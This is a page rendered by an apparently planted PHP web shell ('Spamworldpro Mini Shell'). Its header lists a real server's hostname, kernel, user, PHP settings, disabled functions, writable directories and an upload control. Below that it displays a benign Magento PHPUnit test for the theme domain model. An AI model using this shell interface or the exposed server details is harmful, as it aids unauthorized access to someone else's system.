Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-theme/Test/Unit/Model/Theme/Domain/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-theme/Test/Unit/Model/Theme/Domain/PhysicalTest.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);

/**
 * Test theme domain physical model
 */
namespace Magento\Theme\Test\Unit\Model\Theme\Domain;

use Magento\Framework\View\Design\ThemeInterface;
use Magento\Theme\Model\CopyService;
use Magento\Theme\Model\ResourceModel\Theme\Collection;
use Magento\Theme\Model\Theme;
use Magento\Theme\Model\Theme\Domain\Physical;
use PHPUnit\Framework\TestCase;

class PhysicalTest extends TestCase
{
    public function testCreateVirtualTheme()
    {
        $physicalTheme = $this->createPartialMock(Theme::class, ['__wakeup']);
        $physicalTheme->setData(['parent_id' => 10, 'theme_title' => 'Test Theme']);

        $copyService = $this->createPartialMock(CopyService::class, ['copy']);
        $copyService->expects($this->once())->method('copy')->willReturn($copyService);

        $virtualTheme = $this->getMockBuilder(Theme::class)
            ->addMethods(['createPreviewImageCopy'])
            ->onlyMethods(['__wakeup', 'getThemeImage', 'save'])
            ->disableOriginalConstructor()
            ->getMock();
        $virtualTheme->expects($this->once())->method('getThemeImage')->willReturn($virtualTheme);

        $virtualTheme->expects(
            $this->once()
        )->method(
            'createPreviewImageCopy'
        )->willReturn(
            $virtualTheme
        );

        $virtualTheme->expects($this->once())->method('save')->willReturn($virtualTheme);

        $themeFactory = $this->createPartialMock(\Magento\Theme\Model\ThemeFactory::class, ['create']);
        $themeFactory->expects($this->once())->method('create')->willReturn($virtualTheme);

        $themeCollection = $this->createPartialMock(
            Collection::class,
            ['addTypeFilter', 'addAreaFilter', 'addFilter', 'count']
        );

        $themeCollection->expects($this->any())->method('addTypeFilter')->willReturn($themeCollection);

        $themeCollection->expects($this->any())->method('addAreaFilter')->willReturn($themeCollection);

        $themeCollection->expects($this->any())->method('addFilter')->willReturn($themeCollection);

        $themeCollection->expects($this->once())->method('count')->willReturn(1);

        $domainModel = new Physical(
            $this->getMockForAbstractClass(ThemeInterface::class),
            $themeFactory,
            $copyService,
            $themeCollection
        );
        $domainModel->createVirtualTheme($physicalTheme);
    }
}

Spamworldpro Mini